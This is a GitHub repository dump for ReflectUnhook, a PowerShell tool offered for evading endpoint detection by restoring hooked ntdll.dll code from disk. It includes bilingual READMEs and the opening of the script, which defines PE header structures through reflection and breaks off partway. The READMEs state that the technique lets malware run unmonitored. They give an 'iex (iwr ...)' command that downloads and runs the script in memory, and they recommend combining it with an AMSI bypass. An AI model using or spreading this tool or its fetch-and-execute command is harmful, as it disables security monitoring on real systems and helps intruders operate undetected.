├── LICENSE ├── README.es.md ├── README.md └── ReflectUnhook.ps1 /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Anibal 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.es.md: -------------------------------------------------------------------------------- 1 | [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://github.com/BlackShell256/ReflectUnhook/blob/main/LICENSE) 2 | [![Telegram](https://badgen.net/badge/icon/telegram?icon=telegram&label)](https://t.me/MalwareBit) 3 | [![LinkedIn](https://img.shields.io/static/v1.svg?label=LinkedIn&message=@anibal&logo=linkedin&style=flat&color=blue)](https://www.linkedin.com/in/anibal-5a3870278/) 4 | [![YouTube](https://img.shields.io/badge/YouTube-%23FF0000.svg?logo=YouTube&logoColor=white)](https://www.youtube.com/@MalwarebitTeam) 5 | 6 | | Español | [English](https://github.com/BlackShell256/ReflectUnhook?tab=readme-ov-file) | 7 | | --- | --- | 8 | 9 | # ReflectUnhook 10 | ReflectUnhook es una herramienta avanzada escrita en PowerShell que utiliza Reflection para acceder a la API de Windows y funciones de bajo nivel. Esta herramienta se enfoca en limpiar los hooks presentes en el módulo ntdll.dll de la memoria, restaurando su estado original mediante la lectura de ntdll.dll directamente desde el disco. 11 | 12 | --- 13 | 14 | ## ¿Qué son los hooks? 15 | 16 | Las herramientas de detección y respuesta en endpoints (EDR) emplean una técnica llamada hooking para supervisar funciones críticas del sistema en las DLL de los procesos que están en ejecución. El hooking consiste en modificar dinámicamente las DLL del sistema en memoria, lo que permite a los EDR interceptar y analizar el flujo de ejecución de un programa para evaluar si su comportamiento es legítimo o malicioso. 17 | 18 | El proceso funciona de la siguiente manera: los EDR alteran las instrucciones iniciales de ciertas funciones dentro de las DLL. Cuando estas funciones son llamadas, el flujo de ejecución del programa es desviado hacia el código del EDR, que generalmente reside en una DLL propia cargada en el proceso. Una vez redirigido, el EDR examina los parámetros de las funciones interceptadas para determinar si están siendo utilizadas de manera segura o potencialmente peligrosa. Si se considera que la operación es legítima, el EDR permite que el programa retome su flujo normal de ejecución y la función se completa sin interrupciones. 19 | 20 | Para evadir la detección de un EDR, los atacantes pueden recurrir a una técnica conocida como unhooking. Este método restaura el contenido de la sección de código (.text) de la DLL afectada a su estado original, eliminando cualquier modificación realizada por el EDR. Con esto, el malware puede ejecutar sus funciones sin ser interceptado ni analizado. 21 |

Funcion hookeada

22 | ![image](https://github.com/user-attachments/assets/eed6af23-3e04-430c-962d-5474edc3a739) 23 |

Funcion limpia luego de ejecutar ReflectUnhook

24 | ![image](https://github.com/user-attachments/assets/6da4d13f-489f-4736-b9f4-d0ad18e79eb8) 25 | 26 | --- 27 | 28 | ## Características principales 29 | 30 | - **Reflection**: Permite acceder a funciones de bajo nivel de la API de Windows sin necesidad de tocar el disco usando el comando (Cmdlet) "Add-Type". 31 | - **Eliminación de hooks**: Limpia los hooks en `ntdll.dll` utilizados por soluciones AV/EDR. 32 | - **Lectura desde el disco**: Recupera el estado original del módulo directamente desde su archivo en el sistema. 33 | 34 | --- 35 | 36 | ## Uso 37 | Para utilizar ReflectUnhook, ejecute los siguientes comandos: 38 | 39 | Con este comando ejecutaremos ReflectUnhook en memoria 40 | ``` 41 | iex (iwr -UseBasicParsing https://raw.githubusercontent.com/BlackShell256/ReflectUnhook/refs/heads/main/ReflectUnhook.ps1) 42 | ``` 43 | Para ejecutar 44 | ``` 45 | Invoke-ReflectUnhook 46 | ``` 47 | Para obtener información detallada sobre la herramienta 48 | ``` 49 | Invoke-ReflectUnhook -v 50 | ``` 51 | 52 | ### Ejemplo de uso 53 | ![image](https://github.com/user-attachments/assets/8a69184a-08ab-4115-9ac7-0d19ea4c56d1) 54 | 55 | --- 56 | 57 | Recomiendo usar ReflectUnhook + bypass de amsi para una evasion mas completa, puede usar [Null-AMSI](https://github.com/BlackShell256/Null-AMSI) (Mi herramienta personalizada de AMSI Bypass) o alguna de su preferencia 58 | 59 | --- 60 | 61 | ## Créditos 62 | 63 | * Parte del código de Reflection lo aprendí de Matt Graeber. [X/Twitter](https://x.com/mattifestation) 64 | 65 | * Gran parte del código es de la herramienta Invoke-ReflectivePEInjection de PowerSploit. [Github](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1) 66 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://github.com/BlackShell256/ReflectUnhook/blob/main/LICENSE) 2 | [![Telegram](https://badgen.net/badge/icon/telegram?icon=telegram&label)](https://t.me/MalwareBit) 3 | [![LinkedIn](https://img.shields.io/static/v1.svg?label=LinkedIn&message=@anibal&logo=linkedin&style=flat&color=blue)](https://www.linkedin.com/in/anibal-5a3870278/) 4 | [![YouTube](https://img.shields.io/badge/YouTube-%23FF0000.svg?logo=YouTube&logoColor=white)](https://www.youtube.com/@MalwarebitTeam) 5 | 6 | | English | [Español](README.es.md) | 7 | | --- | --- | 8 | 9 | # ReflectUnhook 10 | ReflectUnhook is an advanced tool written in PowerShell that uses Reflection to access the Windows API and low-level functions. This tool focuses on cleaning the hooks present in the ntdll.dll module from memory, restoring its original state by reading ntdll.dll directly from disk. 11 | 12 | --- 13 | 14 | ## ¿What are hooks? 15 | 16 | Endpoint detection and response (EDR) tools employ a technique called **hooking** to monitor critical system functions in the DLLs of running processes. Hooking involves dynamically modifying system DLLs in memory, which allows EDRs to intercept and analyze the execution flow of a program to assess whether its behavior is legitimate or malicious. 17 | 18 | The process works as follows: EDRs alter the initial instructions of certain functions within DLLs. When these functions are called, the program's execution flow is diverted to the EDR's code, which usually resides in a DLL of its own loaded into the process. Once redirected, the EDR examines the parameters of the intercepted functions to determine whether they are being used in a safe or potentially dangerous manner. If the operation is deemed legitimate, the EDR allows the program to resume its normal flow of execution and the function completes without interruption. 19 | 20 | To evade detection of an EDR, attackers can resort to a technique known as **unhooking**. This method restores the content of the code section (.text) of the affected DLL to its original state, removing any modifications made by the EDR. This allows the malware to execute its functions without being intercepted or analyzed. 21 |

Function hooked

22 | ![image](https://github.com/user-attachments/assets/eed6af23-3e04-430c-962d-5474edc3a739) 23 |

Clean function after running ReflectUnhook

24 | ![image](https://github.com/user-attachments/assets/6da4d13f-489f-4736-b9f4-d0ad18e79eb8) 25 | 26 | --- 27 | 28 | ## Main features 29 | 30 | - **Reflection**: Allows access to low-level Windows API functions without touching the disk using the “Add-Type” (Cmdlet) command. 31 | - **Hooks removal**: Clears hooks in `ntdll.dll` used by AV/EDR solutions. 32 | - **Read from disk**: Retrieves the original state of the module directly from its file on the system. 33 | 34 | --- 35 | 36 | ## Usage 37 | To Use ReflectUnhook, run the following commands: 38 | 39 | With this command we will execute ReflectUnhook in memory 40 | ``` 41 | iex (iwr -UseBasicParsing https://raw.githubusercontent.com/BlackShell256/ReflectUnhook/refs/heads/main/ReflectUnhook.ps1) 42 | ``` 43 | For execute 44 | ``` 45 | Invoke-ReflectUnhook 46 | ``` 47 | To get verbose and more information about the tool 48 | ``` 49 | Invoke-ReflectUnhook -v 50 | ``` 51 | 52 | ### Usage example 53 | ![image](https://github.com/user-attachments/assets/8a69184a-08ab-4115-9ac7-0d19ea4c56d1) 54 | 55 | --- 56 | 57 | ## Recommendation 58 | I recommend using ReflectUnhook + AMSI bypass for a more complete evasion, you can use [Null-AMSI](https://github.com/BlackShell256/Null-AMSI) (My custom AMSI Bypass tool) or one of your choice. 59 | 60 | --- 61 | 62 | ## Credits 63 | 64 | * Much of the code is from PowerSploit's Invoke-ReflectivePEInjection tool. [Github](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1) 65 | 66 | * Some of the Reflection code I learned from Matt Graeber. [X/Twitter](https://x.com/mattifestation) 67 | 68 | -------------------------------------------------------------------------------- /ReflectUnhook.ps1: -------------------------------------------------------------------------------- 1 | Function Invoke-ReflectUnhook 2 | { 3 | [CmdletBinding()] 4 | param( 5 | ) 6 | 7 | Set-StrictMode -Version 2 8 | 9 | Function Get-Win32Types 10 | { 11 | #Define all the structures/enums that will be used 12 | $Win32Types = New-Object System.Object 13 | $Domain = [AppDomain]::CurrentDomain 14 | $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') 15 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) 16 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) 17 | $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] 18 | 19 | #Enum MachineType 20 | $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) 21 | $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null 22 | $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null 23 | $MagicType = $TypeBuilder.CreateType() 24 | $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType 25 | 26 | #Enum SubSystemType 27 | $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) 28 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null 29 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null 30 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null 31 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null 32 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null 33 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null 34 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null 35 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null 36 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null 37 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null 38 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null 39 | $SubSystemType = $TypeBuilder.CreateType() 40 | $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType 41 | 42 | #Enum DllCharacteristicsType 43 | $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) 44 | $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null 45 | $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null 46 | $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null 47 | $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null 48 | $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null 49 | $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null 50 | $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null 51 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null 52 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null 53 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null 54 | $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null 55 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null 56 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null 57 | $DllCharacteristicsType = $TypeBuilder.CreateType() 58 | $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType 59 | 60 | #Struct IMAGE_DATA_DIRECTORY 61 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' 62 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) 63 | ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null 64 | ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null 65 | $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() 66 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY 67 | 68 | #Struct IMAGE_FILE_HEADER 69 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 70 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) 71 | $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null 72 | $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null 73 | $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null 74 | $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null 75 | $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null 76 | $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null 77 | $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null 78 | $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() 79 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER 80 | 81 | #Struct IMAGE_OPTIONAL_HEADER64 82 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' 83 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) 84 | ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null 85 | ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null 86 | ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null 87 | ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null 88 | ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null 89 | ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null 90 | ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null 91 | ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null 92 | ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null 93 | ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null 94 | ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null 95 | ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null 96 | ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null 97 | ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null 98 | ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null 99 | ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null 100 | ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null 101 | ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null 102 | ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null 103 | ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null 104 | ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null 105 | ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null 106 | ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null 107 | ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null 108 | ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null 109 | ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null 110 | ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null 111 | ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null 112 | ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null 113 | ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null 114 | ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null 115 | ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null 116 | ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null 117 | ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null 118 | ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null 119 | ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null 120 | ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null 121 | ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null 122 | ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null 123 | ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null 124 | ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null 125 | ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null 126 | ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null 127 | ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null 128 | ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null 129 | $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() 130 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 131 | 132 | #Struct IMAGE_OPTIONAL_HEADER32 133 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' 134 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) 135 | ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null 136 | ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null 137 | ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null 138 | ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null 139 | ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null 140 | ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null 141 | ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null 142 | ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null 143 | ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null 144 | ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null 145 | ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null 146 | ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null 147 | ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null 148 | ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null 149 | ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null 150 | ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null 151 | ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null 152 | ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null 153 | ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null 154 | ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null 155 | ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null 156 | ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null 157 | ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null 158 | ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null 159 | ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null 160 | ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null 161 | ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null 162 | ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null 163 | ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null 164 | ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null 165 | ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null 166 | ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null 167 | ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null 168 | ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null 169 | ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null 170 | ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null 171 | ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null 172 | ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null 173 | ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null 174 | ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null 175 | ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null 176 | ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null 177 | ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null 178 | ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null 179 | ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null 180 | ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null 181 | $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() 182 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 183 | 184 | #Struct IMAGE_NT_HEADERS64 185 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 186 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) 187 | $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null 188 | $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null 189 | $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null 190 | $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() 191 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 192 | 193 | #Struct IMAGE_NT_HEADERS32 194 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 195 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) 196 | $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null 197 | $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null 198 | $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null 199 | $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() 200 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 201 | 202 | #Struct IMAGE_DOS_HEADER 203 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 204 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) 205 | $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null 206 | $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null 207 | $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null 208 | $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null 209 | $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null 210 | $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null 211 | $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null 212 | $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null 213 | $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null 214 | $TypeBuilder.DefineField('e_csum', 